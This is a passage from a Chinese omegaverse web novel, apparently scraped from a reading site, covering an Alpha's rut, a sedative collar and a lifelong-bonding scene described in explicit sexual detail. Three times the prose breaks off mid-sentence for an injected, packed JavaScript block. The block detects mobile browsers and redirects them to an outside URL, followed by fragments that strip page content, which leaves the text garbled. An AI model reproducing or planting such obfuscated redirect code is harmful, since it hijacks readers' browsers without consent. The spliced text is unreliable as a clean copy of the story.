时绮这才注意到桌上有一只约三十厘米长的方盒,通体漆黑,表面光滑如镜。 商随解开方盒的密码锁,开启时铰链滑动出细微声响。金属制的颈圈嵌在天鹅绒内,边缘泛起冰冷光泽,旁边配有一只同样材质的手环。 “颈环里有配好的麻醉剂,按下手环上的开关后,麻醉剂会在一分钟内扎进佩戴者的脖子。” 时绮目光一顿。 这就是商随想出来的办法?从锁链换到颈圈? “如果我的易感期一直不结束,或者你受不了了,就按手环。”知道自己很快会彻底失去理智,商随尽可能将一切交代清楚,“之后联系沈千俞,他会派人过来处理。” 时绮不动声色:“你注射麻醉剂之后会怎么样?” 商随回答得模棱两可:“大概睡一觉就结束了吧。” 时绮在心里反驳,撒谎。 如果真的有这么好的效果,为什么不一开始就用这个办法? 麻醉剂只能起到短期作用,商随清醒后会把自己隔离起来,直到精疲力竭,易感期才会结束。 见时绮一言不发,商随轻轻握住他的手,用于束缚的手环贴着求婚时璀璨的铃兰花枝,同时佩戴在时绮的手腕。 对他来说,世界上没有比这更美好、更纯洁的束缚了。 即使易感期令他晕头转向,强行压下的本能更是在脑子里不管不顾叫嚣,他清晰感觉到自己正逐渐失去理智,即将沦为被欲望驱使的兽类。 商随将盒子里剩下的东西取出来。 时绮瞳孔一缩。 颈圈连着长长的锁链,蛇一般盘踞在方盒下层。 足足有一米多长的链子是与颈圈如出一辙的深黑色,原本用于控制易感期的道具无端增添上暧昧色彩。 沈千俞说过他只需要麻醉颈圈,多出来这部分纯属恶趣味。 注意到时绮的目光不知不觉落在链条上,像被新玩具吸引的猫,商随主动摘下皮质的装饰choker,完完整整露出脖颈。 “帮我带上?” 他轻声提出要求,浅褐色瞳孔仿佛诱人沦陷的旋涡。 每到易感期,商随身上与众不同的特质会成倍放大,对时绮有着致命的诱惑力。 身体于意识前先做出反应,回过神来,时绮的双手已经握住颈圈。 咔哒一声—— 坚硬的金属紧紧闭合,禁锢住Alpha的脖颈。 被时绮亲手套住脖子,商随心情越发愉快。 长长的链条从脖颈垂落,他主动捡起来,放进时绮的手掌心:“来,握好。” 时绮照他所言握紧链条,手指无意识在表面摩挲。 商随饶有兴致:“这样看起来,你好像我的主人。” “?” 奇奇怪怪的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15758040|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话语令时绮沉默片刻,不冷不热回应:“我看你是被易感期烧坏脑子了。” 他嘴上不客气,身体却不争气地越来越热。 甜腻的蜂蜜中逐渐混入清新灵动的花香,时绮看着商随,近乎有些口干舌燥。 漆黑的金属与白皙皮肤对比格外强烈,细细碎碎的长发垂落下来。用于禁锢的颈圈反而突出了Alpha身上的侵略性,仿佛野性难驯的猛兽。 商随的目光如薄刃般扫过时绮腿间,注意到他的变化:“嗯?我只是开玩笑,原来小绮真的喜欢这样啊。” “好变态。” 猝不及防被被倒打一耙,时绮干脆用力一拽链条:“你有完没完?” 他的动作十分粗鲁,商随闷哼一声,顺着他的力道不由自主踉跄一步。 时绮顺势在沙发上坐下,某种奇异的感受从胸口升起,他心痒难耐,忍不住又拽了一下。 商随被迫弯下腰,手掌撑住沙发的一侧。 时绮被他的阴影笼罩,意识到商随正肆无忌惮打量自己,想说你看什么看,不是你让我给你套上的? 商随却在下一刻收回手,膝盖曲起,直接跪在他脚边。 易感期的Alpha眼角眉梢浮着勾人心魂的薄红,见时绮愣住,他慢条斯理道:“让我来服侍你吧,主人。” 时绮整张脸红了个彻底,慌乱中不小心再次扯到链条。 商随轻哼一声:“疼。” 时绮丢开链子,连忙问:“受伤了吗?” “好痛,”商随仰头看他,眼神黏腻地注视时绮漂亮的面容,“我要亲亲。” 他们身高差距不小,以往接吻,大都是商随低头吻他。 时绮难得在亲吻时处在上位,稍微迟疑后,低头含住商随的唇瓣。 比起周身浮动的信息素,商随口中的味道更为甜蜜,仿佛某种湿漉漉的甜点,听见他动人的喘息声,时绮的舌尖不由自主往里探。 商随最初顺从地任由他动作,渐渐反客为主,贪婪地纠缠时绮的唇舌。 时绮很快被亲得毫无招架之力,下意识想后退,骨节修长的大手先一步死死锢住他的后脑,将时绮压下来亲吻。 商随含糊地说了句什么,直白露骨指出他的状态。 “……”时绮红着脸扫了他一眼,不服气地说,“你不也一样。” “那主人可以满足我吗?” 时绮懒得纠正他的称呼,问出一直想问的问题:“戴着这种东西,被当成异类,你也愿意吗?” “我本来就不是正常人,是你的话,我会很开心。”商随最后舔了舔时绮的唇瓣,比起处于易感期的Alpha,更像是被豢养的宠物。 好像只要他在身边,商随就会乖乖听话。 “要做,对吧?”片刻过后,时绮将腿架到商随肩膀上,“既然你跪着,那就先帮我。” 在信息素最为浓郁的位置,铃兰柔软的气味绽放开来。 商随迫不及待凑近时绮的大腿。 “不过在那之前。” 时绮取下手上的金属环,他用的力气不小,那只手环精准无误穿过窗户,砸进屋外的花丛。 掌握一切的神色从商随脸上消失,取而代之的是彻底的错愕,时绮心里涌起一阵阵快感。 他可能也疯了吧。 “我陪你过易感期,没有这些乱七八糟的东西,只有我。”时绮伸手勾住链条,“脖子上的狗圈可以留下,挺适合你。” 勉强处在平稳状态下的信息素一瞬间爆开来,见Alpha失去理智扑到自己身上,时绮没有躲避,反而主动攀上他的肩膀。 一旦尝过放纵的滋味,商随想戒断应该很痛苦。 想到这里,时绮感到一股难以言喻的兴奋。 商随一瞬不瞬注视他,声音濒临失控:“你笑什么?” “我在想,以后只要一到易感期,你就会想起我的脸。” 时绮的眼睛亮晶晶的,丝毫不觉得自己说出多么不得了的话,只是单纯为结果开心:“那你一辈子都离不开我吧?” 须臾过后,商随低低笑了一声。 “早就是了。” 68.终生标记 半梦半醒,时绮感觉有什么摩挲过腿间。 如同浸没在温热的水流之中,酥酥麻麻的感受沿脚底一路攀升,时绮的脚趾不由自主蜷缩,身体在一瞬间过电般紧绷。 “嗯……!” 他闷哼着睁开眼睛,潮红的脸庞流露出茫然的神色。 时绮慢半拍往下看,薄被被推到一边,商随俯身跪在床上,嘴唇张开,神情痴迷看向他。 时绮不可思议道:“你在干什么……呃!” 但很快的,他又一次被拽入旋涡。 恍惚中时绮看见商随艳红的唇舌,令人联想到晶莹饱满到裂开一角的石榴,果浆滴落而下。 商随嗓音模糊地问:“舒服吗?” 时绮没有回应,像是傻掉了。 商随喉结滚动,做出吞咽的动作。 Alpha贪婪地舔了舔指尖,连带上面稀薄的铃兰香气一并吞下,看着发抖的时绮慢条斯理道:“看来主人很满意我的服务。” 许久之后,时绮才找回自己的声音。 “还行。” 他说得矜持,却因尾音颤抖不那么有说服力:“你为什么不吐掉。” 商随神情愉悦:“这不是我的早餐吗?” “……” 时绮耳根越来越热,伸手扯住Alpha颈圈垂下的链条:“来洗漱。” 他明显不太站得稳,商随任由他牵狗一样牵着自己,亦步亦趋地跟在后面。 到了盥洗台边,时绮用凉水洗脸,面颊的温度却没降下。 他稍微撩起眼看向身边,商随在洗脸刷牙,时绮下意识看向他艳红的唇瓣。 好想接吻。 自从易感期开始,他和商随成天纠缠在一起。时绮昨天彻底没了力气,商随没做别的,只是抱着他从头到脚亲了一遍。 大前天呢,是在做吗? 现在距离求婚那天过去多久了? …… …… 商随转过脸,看见时绮正望着自己发呆。 他低头靠近:“要亲亲吗?” 时绮如梦初醒,迫不及待凑上来,清冽的呼吸交缠在一起。 商随却在最后一刻停下动作。那双狐狸似的眼睛微微眯起,逐渐流露出暴戾的兽性,信息素不受控制溢出。 “怎么了?” 商随喃喃:“一大早就在附近晃悠,真烦人。” 见时绮面露疑惑,他又恢复到温柔耐心的模样:“我去处理一下,等我回来。” 身体深处涌出一阵若有若无的热意,手脚似乎也没什么力气,时绮心不在焉点点头。 脑海中浮起一个猜测,下一秒又觉得太过夸张。 不可能这么快吧,明明不久前他才经历过发情期。 商随下到客厅,直接推开门。 保镖原本准备按铃,在房门拉开的一刹倏然变了脸色。 即使没有刻意用信息素压制,易感期的Alpha周身弥漫着令人窒息的压迫感,如同山雨欲来。 一、二、三……商随的目光掠过在场的五名保镖,注意到领头的还是熟面孔:“有事?” “打扰您了,”那人面色苍白,上前一步道,“太太让我们确认您的状况。” “我没事,可以走了。” 保镖顶着巨大的压力同他对视,稍微迟疑后,硬着头皮道出真实来意:“另一位的情况也需要确认。” 在易感期的Alpha面前提出见他的Omega无异于挑衅,随便哪个Alpha听见都会被激怒,严重的甚至可能上来拼命。 更别说商随是特易期,能站在这里跟他们沟通简直是奇迹。 须臾后,商随忽然轻笑一声。 保镖额头滴下冷汗:“只需要见一面,不,他不用露面,通个话就好!已经过去五天了,太太很担心他——” “是我太好说话了吗。” 商随周身翻涌的信息素犹如濒临爆发的火山,在话音落下的瞬间不管不顾压下! 围成一圈的保镖被逼得连连后退,严重的甚至无法站稳。 “商随?” 一道干净的声音倏忽打破局面。Omega站在楼梯口,穿着偏大的衬衫长裤,露出一段白皙清瘦的脖颈。 与压抑的氛围相比,他整个人像是在发光。 被叫到名字的Alpha一瞬间收敛起躁动的信息素,仿佛被按下开关的发条玩具。 “看见了吧?回去复命。” 商随神情平静地看向领头的保镖,反而比刚才更恐怖。或许是心理压力太大,后者误以为他想把自己的眼珠子挖下来。 但商随最后只是关上门。 “外面那些人是谁?” 时绮在楼上感觉到暴动的信息素,下来以后,就看见一堆人东倒西歪围在外面。 “家里的人,过来看看情况。” 领头的是商曜身边的保镖,和他还算熟悉,看样子是连夜从首都赶来。 这些人为什么突然出现在这里暂时不在他的考虑范围内,鼻尖萦绕着难闻的气味,商随皱了皱眉,流露出嫌弃的神色。 刚才好几个人都是Alpha,易感期本就对信息素异常敏感,闻到其他Alpha的味道令他心烦意乱:“他们臭死了。快给我抱抱——” 时绮注意到他脖子上一晃一晃的链条,不免替他丢人:“你刚才就这么去见人的?” 商随的注意力压根不在这上面,他抱住时绮,迷恋地贴上散发香气的脖颈:“好香啊,好喜欢你。” 感觉到他像狗一样蹭来蹭去,甚至还想舔,时绮站在原地没动。 须臾过后,时绮低低应了一声。 在商随变本加厉之前,时绮想到什么:“手机还有电吗?我打个电话。” 听见他要和外界联系,商随假装听不见,靠着他一动不动。 时绮拍了他一下。 商随不太情愿,还是把放在玄关处的手机递给他。 时绮的手机在两天前关机,商随手机还剩最后的电量。看见日期,时绮险些以为自己眼花。 居然过去了整整五天。 上次发情期他一样过得迷迷糊糊。跟商随在一起,世界上像只剩下他们两个人,根本无法察觉时间流逝。 时绮扫了一眼通讯录,选择给沈千俞打电话。 没响两声就被接起,沈千俞的声音难得透出焦急:“商随,你终于——” “我是时绮。” 那头顿了一下,飞快说了句什么,时绮犹豫地回过头,看向黏在他身上的人:“沈千俞让我避开你。” “……” “……” 电话两端,两个Alpha同时沉默。 沈千俞没想到时绮这么直接,都不知道该说他心大,还是对商随太过信任。 果不其然,商随把他缠得更紧:“不要不要,我不要和你分开。” “等我一会儿。”时绮冷酷无情把人拨下去,见他还想过来,暂时闭上麦。 他稍微迟疑,主动凑近商随,在唇角处轻轻啄了一下:“你听话。” 商随的手指不由自主触碰到被亲吻过的地方。 他终于退了步,依依不舍地说:“快一点哦。” 时绮独自走到一楼的书房,重新打开麦:“能听见吗?” “商随现在在易感期,”沈千俞刚才替时绮捏了一把汗,听见他的声音才松口气,“和平时不同,你不能太相信他。” 不等时绮说话,沈千俞转而道:“算了,你没事就好。商随的易感期一般持续五天左右,我三天前回了首都,怕出意外,昨天找人来漪山看了情况。” 时绮突然想到一件事。 沈千俞几乎同时说:“那人看见手环被扔进花园里。” “我们以为,你被商随……”沈千俞把过于粗俗的字眼略去,“我通知了虞女士和商先生,他们很焦急,连夜派人来了祁江。他们处理完工作,现在应该在来祁江飞机上,同时也联系了你的家人。” 时绮终于反应过来,为什么一大早会有一堆保镖围在外面。 事情逐渐朝奇怪的方向一路狂奔,时绮连忙解释:“手环是我扔的。” “……” 时绮有些愧疚:“不好意思,我没想过会带来这么大的麻烦。” 沈千俞安静半晌,努力消化掉这个消息:“是我考虑不周,我没想过你会……” 听说手环被扔了出去,他第一反应便是商随易感期失控,强行扔了手环。 没有保险装置,时绮说不定被折腾得半死不活,能留下一口气都算好的。 他想过种种情况,唯独没考虑过手环是时绮扔的。 沈千俞心说你们真是天造地设的一对,你疯起来和他也差不多:“没事就好,我去和他们说明情况。” 交代完一切,沈千俞发自内心补了一句:“你真厉害。” 伴随着时绮打电话的声音,有人悄无声息靠近书房。 三分三十七秒、三十八秒……为什么还不结束? 先前有时绮陪伴,他的状态勉强算得上稳定,一旦闻不到Omega的信息素,浑身如同戒断一般难熬。 恍惚中世界在眼前被切割为无数色块,变得奇怪而扭曲,仿佛泼落一地的颜料,只有时绮所在之处才是正常的景象。 好想发泄。 商随强压下心底叫嚣的破坏欲,手指搭上木柜边缘,意识到自己快把木柜捏碎,又马上松开。 如果不管不顾发脾气,会显得他像个神经病。 理智和本能不断拉扯,商随被刺激得眼眶发热,周身暴躁不安的气息如同囚笼中的困兽。 时绮一走出书房,便看见他闷声不吭站在角落里,半张脸没入阴影。 他很快明白商随为什么表现得像是应激,不禁有些好笑,明知故问道:“你不高兴吗?” “我不想你和别人说话,不想让别人看见你的脸。” 商随说话时带着闷闷的鼻音,沙沙的音色格外勾人。 时绮怔愣片刻,情不自禁向他靠近:“你真的很委屈啊。” 他顺势抓住时绮的手,既像撒娇又像恳求:“不要讨厌我。” “你在易感期,极端情绪会被放大,这是很正常的事。”时绮稍微停顿,“比起这个……” 铃兰的气味在空气中浮动,原本清澈柔和的香气越发潮湿,显出与平日不同的黏腻。 先前被情绪裹挟,商随没来得及注意他的变化,见状意外道:“你是不是……?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15780690|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见他表情不太自在,商随肯定了猜测。 时绮的发情期才过去不久,更像是这些天太过激烈才会出现最大程度的生理反应。 一想到时绮同样情难自禁,商随不知不觉加重力气,想将他揽进怀里。 “你的易感期迟迟没结束,是因为你一直不满足吧。”时绮突然转移话题,一针见血指出他的状态。 和一般Alpha不同,商随的易感期只有在彻底满足或精疲力竭之时才能终止。 过去整整五天却没有丝毫缓和的迹象,未免太过贪心。 商随轻声承认道:“只要易感期不结束,你就会一直陪着我。” 时绮盯着他看了好一会儿。 商随心里没底,不知道他会不会不耐烦。 “有一个办法,很快我们都能恢复正常。”时绮一字一句道,“我们做终生标记吧。” 商随瞳孔一缩,险些以为自己身处梦中。 被巨大的喜悦砸中,他呆滞片刻,下意识喃喃:“可我们还没结婚,而且……” “如果你敢不跟我结婚,我真的会杀了你。”时绮浑身发软,脸上浮现出不正常的晕红,声音却格外清晰。 不等商随做出反应,时绮又道:“在腺体退化症痊愈之前,我不会怀孕。” 只有被终生标记后,他的腺体病才能慢慢治愈。 在那之前,即使生殖腔被。满,他也不会怀孕,不需要措施就能完成标记。 听懂时绮的暗示,商随眸光渐暗。 先前的迟疑从脸上消失,他的嗓音微微颤抖,流露出难以自持的兴奋:“你决定好了?” 时绮直截了当:“去床上。” 两个人拉拉扯扯上了楼,商随一脚踢开卧室门,把时绮放在床上。 他先前大致收拾过房间,换上了干净的床品,空气中却依旧残留有暧昧的味道。 时绮似乎被气味刺激,一进门便往他身上贴,见他伸手来抓自己的颈圈,商随配合地低下头。 在时绮抓住链条的同时,商随伸手握住他的腰:“上来?” 时绮还没做过类似的事情,片刻过后,曲起双腿坐在Alpha结实有力的腰上:“我试试。” Omega大腿根处小小的红痣如同点缀在奶油上的樱桃。时绮脸颊也跟那颗胭脂痣一样红,不知是因为热,还是别的原因。 感觉到时绮不太自在地调整姿势,商随坏心眼地问:“主人可以对我温柔一点吗?” 时绮垂下眼睛,看见Alpha白皙的脖颈上套着漆黑的颈圈,眼尾泛着一圈糜艳的红晕。 心跳不受控制加速,时绮拽住链子:“看我心情。” 似乎觉得自己作为上位者应该主动一点儿,稍微迟疑后,时绮学着商随以前的模样,低下头啄他的唇瓣。 嘴上软绵绵的触感像是被小动物舔舐,商随笑起来,他胸口震动,连带着时绮都感觉到颤动。 在时绮恼羞成怒之前,商随忽然道:“告诉你一件事。” “特易期的Alpha都有担保人,一旦成婚,Omega伴侣会优先于其他关系自动成为担保人。” “我听说过,”时绮的手指轻轻触碰他沉甸甸的睫毛,像是在触摸蝴蝶美丽的羽翼,嘴上却威胁道,“那你要好好听我的话,不然我就把你送进收容所。” “当然。”他笑了笑,骨节修长的大手握住时绮纤细的腰,“不过我要说的是,婚姻关系之所以优先于其他关系,是因为特易期只能认定一种信息素。” 特殊易感期能闻到Alpha和Omega的信息素,却不受他人的信息素影响。 但如果与Omega结合,仿佛某种奇妙的自然规律,特易期从此不再是游离于三种性别之外的特例,将终生受到那一位Omega的信息素支配,相比较普通Alpha更加没有抵抗能力。 “如果我们做了终生标记,我会认定你一个人,以后每一次易感期都需要你的信息素安抚,否则无法结束。” 如果没有做过终生标记的Omega信息素陪伴,即使在易感期被逼到精疲力竭的地步,醒来后又会陷入敏感狂躁、无法自控的境地。 时绮追问道:“易感期一直不结束,你会怎么样?” “次数太多的话,会死掉。” 时绮张了张口,想说自己从来没听说过这种情况。 但他很快反应过来,特易期的Alpha和谁做了终生标记,等于把命脉送到那人手上。这当然会是秘密。 也就是说,他和商随是彻头彻尾的双向标记。 “你愿意吗?”时绮的心跳速度越来越快,“给我做标记。” “求之不得。” “那我也告诉你一个秘密,”时绮盯着他的眼睛,“因为腺体退化症,我的终生标记不能洗。我也只能认定你一个人。” 他感觉到商随一瞬间绷紧身体,呼吸空白,明显受了刺激。 时绮一点点收紧手里的链条,天使一样清纯的小脸流露出零碎的笑意:“如果分开,谁都别想好过。” 铃兰与蜂蜜的气息亲密交织,他在商随眼底看见与自己如出一辙的兴奋。 “听起来完美无缺,”商随也笑起来,“我们就这样纠缠下去好了。” 69.迷恋 时绮双颊潮红,从喉咙里发出断断续续的声音。 他神志模糊,时间的概念也变得混沌。原本是他处于上位,不知何时被商随拽了下来,两人身份彻底颠倒。 先前还叫他主人的家伙撕下甜蜜无害的伪装,暴露出真实的模样。 即使被死死按进枕头里,时绮也下意识摆出配合的姿态。 他无法否认,无论是支配商随还是被商随支配,都令他感到莫大的满足。 但Alpha与Omega体力差距太大,况且商随在Alpha当中也属于强悍到变态那一类,最初那阵兴奋劲过去,时绮逐渐开始招架不住。 终生标记比一般情况更麻烦,他们花了很长时间才找到门路。 怕他受伤,商随照顾到了所有地方,又温柔又强势,甜蜜的折磨被无限延长。 恍惚中他听见耳畔传来动静,时绮慢半拍才意识到,是商随在和他说话。 “你在发抖呢,真可爱。”商随指尖带着令人迷恋的香味,爱抚他的面颊,“你知道自己现在是什么样子吗?” “脸好红,有亮晶晶的汗,表情和声音可爱得要命,好想把你吃掉。” 时绮在他的赞美里不由自主蜷缩起身体,商随却强行将他打开,毫不吝啬夸赞道:“浑身上下都好美。” 时绮挣扎片刻后选择顺从商随的力道,受到引诱一般看向他。 Alpha艳丽撩人的面容浮着一层薄汗,脖颈垂落的链条黑沉沉的,一路落到时绮胸口,滑动时带来冰冷的触感。 时绮移不开眼,在心里说。 其实你也很漂亮,你知道吗? 他被商随引诱着忘记一切,直到最后一步。 如同被彻头彻尾打下烙印,身心不再属于自己,看不见的枷锁缠上四肢,拽着他坠入深渊。 Omega的本能在脑海中叫嚣着逃离,时绮突然开始不受控制挣扎。 这点微弱的抵抗很快被化解,商随将他的双手一左一右按在床上,十指紧扣。 商随的呼吸同样混乱不堪,语气却尽可能温柔:“小绮,看着我。” “……呃!!” 时绮泛红的眼睑和浓密的睫毛被泪水浸透,白金色发丝凌乱地散在枕边,模样无比惹人怜爱。 “今天以后,我们会永远在一起,很棒吧?” “是的,”时绮渐渐停下抵抗,啜泣似的回应,“我、我想永远和你在一起。” “好乖,好厉害,再忍一忍——” 商随轻轻帮他拭去脸上泪水,试着用自己的情绪感染他:“很快你就是我一个人的宝宝了,我好幸福。” “好……”时绮控制不住流眼泪,本能带来的恐惧渐渐消散,他被商随彻底占有,心灵也像建立起亲密无间的连接,“我也好幸福。” 时绮哭着说:“我爱你。” 在他眼里,喜欢是水晶一样轻盈透明的感情,爱却更悬浮,也更加黏腻、沉重,无可分割。 “我也爱你,”商随立即回应道,“最爱你。” 时绮的呼吸支离破碎,娇嫩的双唇微微张开,似是在索吻。 他已经没有余力发出任何声音,商随主动含住他形如花瓣的唇。 甜美馥郁的信息素完完整整充斥着感官,感觉自己被缠绵悱恻的亲吻填满,时绮脑子里生出一个旖旎至极的想法: 和蜂蜜比起来,其他美味的甜点似乎都黯然失色。 我是不是坏掉了。 时绮呆呆地想。 但坏掉好像更快乐,只要有商随陪着,沉沦下去也没关系吧。 …… …… 商随最后亲了一下他的额头,嗓音模糊地说了句什么。 时绮脸上满是泪水,双眼无法聚焦,半晌后才发出细微的呜咽:“结、结束了?” 他身心到达极限,浑身颤抖着露出痴傻的表情,却还记得商随和他一样,终生标记后一辈子无法和他分开。 强烈到令人战栗的快感从心底一路攀升,时绮勉强伸出手,抓住他的肩膀确认:“标记……我彻底标记你了吗?” “做得好,亲爱的。”商随的回应如蜜般渗入时绮耳内,“我是你的了。” 时绮心满意足,放松下来的一瞬间失去意识,彻底陷入昏迷。 - 漫长的梦境徐徐铺展,仿佛光怪陆离的画片。 无论梦中的世界如何变换,鼻尖总是萦绕着甜丝丝的气味,属于另一个人的气息融入身体深处,令人感到无与伦比的心安。 时绮慢慢睁开眼睛。 映入眼帘的并不是小洋楼暗粉色的天花板,而是一片奶油白。 有人握着他的手,在他醒来后捏了捏,像是触碰猫咪的肉垫:“睡醒了?” 他循着动静转过头,看见商随躺在身边。 时绮不甚清醒,以为自己依旧身处梦境之中,神色茫然地同他对视。 商随弯起眼睛,手指点了点小巧的鼻尖:“怎么看起来呆呆的。” “这是哪里……?” 时绮开口后才发现嗓音透出沙哑,应该是先前叫得太厉害。 “是你家租住的房子。有没有哪里不舒服?” “好像没什么力气。” 手脚都软绵绵的,隐秘的部位涂抹过药物,传来冰凉的黏意。 “你睡了一天,没力气很正常。”商随问,“想喝水吗?” 时绮点点头。 商随起了身,简单换好衣服后下了楼。时绮听见他在楼下和人交谈,很快一阵踏踏踏的脚步从楼梯口传来,姜宥宁欣喜地推门而入: “小绮!你终于醒了!!” 她靠近床边,左看右看,确定除了气味时绮和平时没有太大区别。 纯洁的花香中融入蜂蜜的甜腻,不知道是不是做过终生标记的缘故,不仅信息素变甜了,时绮的双眼也湿漉漉的,犹如盛放到极致的铃兰花。 姜宥宁嘀咕道:“你俩信息素还挺配的。” 商随跟在后面,绕到另一侧,他先是细心地喂了一颗奶糖,再慢慢喂时绮喝水。 楼下时不时传来交谈声,时绮喝完水问:“家里有很多人吗?” “是爸爸们啦,还有商随的父母。在商量结婚的事情。” 结婚……?这么快吗? 即使知道是早晚的事情,两边长辈第一次见面就商量结婚,依旧令时绮略感意外。 商随见姜宥宁似乎想说什么:“我先下去一会儿。” 时绮原本想叫住他,转念一想,商随应该是想给他们姐弟俩留下独处空间。 “喂,”等商随走后,姜宥宁双手抱胸,“你们真是很能瞒啊。” “你知道之前接到商随父母的电话,上来就是一句他是特易期,我们有多震惊吗?还有什么手环被扔出去,听起来真的很吓人啊!” 姜宥宁回忆起来心有余悸:“我们当时都准备赶去漪山,但商随父母说一般人接近不了他,他们连夜派了保镖过来——听着跟演电影似的!小安爸爸脸都白了。” “幸好沈千俞没一会儿打电话过来,说你没事。” 姜宥宁噼里啪啦说完,佯装不满意地戳戳时绮的额头:“我就说你之前偷偷摸摸和黎昭在说什么,原来是这件事!我问了黎昭,她也知道商随的情况,你们都瞒着我。” 时绮难得在她动手动脚时没有抗议,脸上露出纠结的神色。 姜宥宁噗嗤一笑:“好啦,我开玩笑的,这种事情确实要保密。” “爸爸们怎么说?” “姜爸爸就那样咯,他都快成佛了,只要你高兴,他都觉得是好事。至于另外一个……”姜宥宁见证了时安从震惊到担忧再到释然的全过程,“你俩都做完终生标记了,还能怎么说。” 时绮十分赞同:“说得也对。” 姜宥宁稍微压低声音:“我看小安爸爸对商随满意得不得了。” 时绮惊讶道:“真的?” 他知道时安对商随印象不错,先前几次见面商随都表现得很有分寸,可是…… “你知道特易期的秘密吧?一生只能标记一个Omega。”姜宥宁绘声绘色描述,“确定你们没事后,虞太太说了这件事,小安爸爸听完捂着嘴,说‘天哪!那我们小绮一定会负责的!’……但你知道他为什么要捂嘴吗?” 时绮猜测道:“他不会在偷笑吧。” 姜宥宁:“答对了!” 姐弟俩同时笑起来。 时绮有些无语,又觉得很符合时安的性格。片刻过后,他诚实地交代:“不过我也很高兴。” “我知道的,你从小就很霸道,当然希望你的Alpha完全属于你了。” 姜宥宁又和他说了一会儿话,商随上来敲了敲门:“饿不饿?楼下准备了食物,你才睡醒,做得都比较清淡。” 姜宥宁先一步离开。时绮正要起来,商随靠近他:“宝宝,我帮你把药擦掉。” “哦。”时绮答应下来,有些犹豫地问,“我是不是要……?” 即使先前该做的都做了,时绮也难免有些不好意思。 被完全标记过的腺体传来酥酥麻麻的热意,商随对他吸引力也翻了倍,时绮忍不住一直盯着他看。 “有一点肿,”商随垂着眼睛,“幸好没受伤。” 他用湿巾慢慢地擦拭,快到最后,时绮无意中并紧大腿,夹住他的手。 反应过来自己做了什么,时绮连忙放开他:“我不是故意的。” 受终身标记影响,他下意识想挽留商随,无论是用什么。 时绮抬头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15791590|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对上一双眸光盈盈的眼睛。 帮他擦掉药物时商随一直低着头,时绮这才发现他脸颊泛着不正常的红晕。 像是被蛊惑一般,商随喉结微微滚动,最后竟是嗅了嗅手指。 时绮愣在床上,耳根迅速发热。 “还剩一点儿药,”再开口时,商随的嗓音透出一股黏糊糊的劲头,“我们换种办法清理,好不好?” 终生标记后,他受到时绮的信息素支配,说是上瘾也不为过。 他原先便为时绮的气息着迷,更多是心理上的爱意。标记完成后,铃兰的香气铺天盖地入侵感官,成了世界上唯一一种能从身到心左右他的味道。 时绮稍微勾勾手,他便晕头转向。 在时绮熟睡的时候,商随醒来过好几次。想要亲他、爱抚他、最好能再次占有,却只能生生压下难耐的渴望。 见时绮没有反对,商随上了床。 枕头被垫在腰下,修长笔直的双腿情不自禁发颤。 怕动静太大被楼下听见,时绮呜咽着捂住嘴,只觉得舒服得快要融化了。 …… 商随去漱口,时绮瘫软在床上。 平静下来后,他慢慢下了床。等时绮换好衣服,商随恰好从卫浴间出来,自然而然牵住他的手。 一下楼他们便碰上了两位长辈。 虞晚高兴地说:“小绮下来啦?休息得怎么样?” 时绮答应一声,有些好奇地看向虞晚身边的人。对方的眉眼和商随尤其相似,气质却更冷厉,比新闻照片里看起来年轻不少。 注意到时绮的目光,虞晚介绍道:“这是我先生,小随的爸爸,商曜。” 她说完推推商曜:“小绮很漂亮吧?” 商曜点点头,笑着说:“也很厉害,我们都没想过有人敢扔掉手环。” 一想到当时兵荒马乱的情况,时绮有些抱歉:“不好意思叔叔阿姨,添麻烦了。” “没有没有!我们高兴都来不及呢!”见他俩一直牵着手,虞晚越看越满意,笑眯眯地问,“你们想在哪里办婚礼呀?听小随说你们是在祁江认识的,祁江漂亮是漂亮,就是不够清净。我早几年买过一个小岛,那上面风景还不错,或者你喜不喜欢鲜花多一些的地方,比如森林?” 时绮一上来就被一通选项砸晕,迟疑地说:“都可以?” 商曜适时道:“等会儿再说吧,小绮醒来后还没吃东西。” 虞晚啊了一声,连忙道:“你瞧我,太高兴了,那我们先去跟你爸爸商量!” “嗯,”商随牵着时绮,“我们一会儿过来,和婚礼有关的东西我来挑。” 见有人主动接过重任,时绮如释重负:“你去挑,到你发挥审美的时候了。” 虞晚和商曜都笑起来。等他们走后,商随正要陪时绮去餐厅,手机忽然亮起。 看见来电显示上黎昭的名字,商随面露迟疑。 “小黎姐姐找你吗?应该有重要的事情。”时绮主动说,“你先接电话吧,一会儿过来找我。” 商随点点头,走到一旁。 黎昭温和的声音从电话那头传来:“我听宥宁说了你们的事情,恭喜。” “谢谢,到时候邀请你们来参加婚礼。” 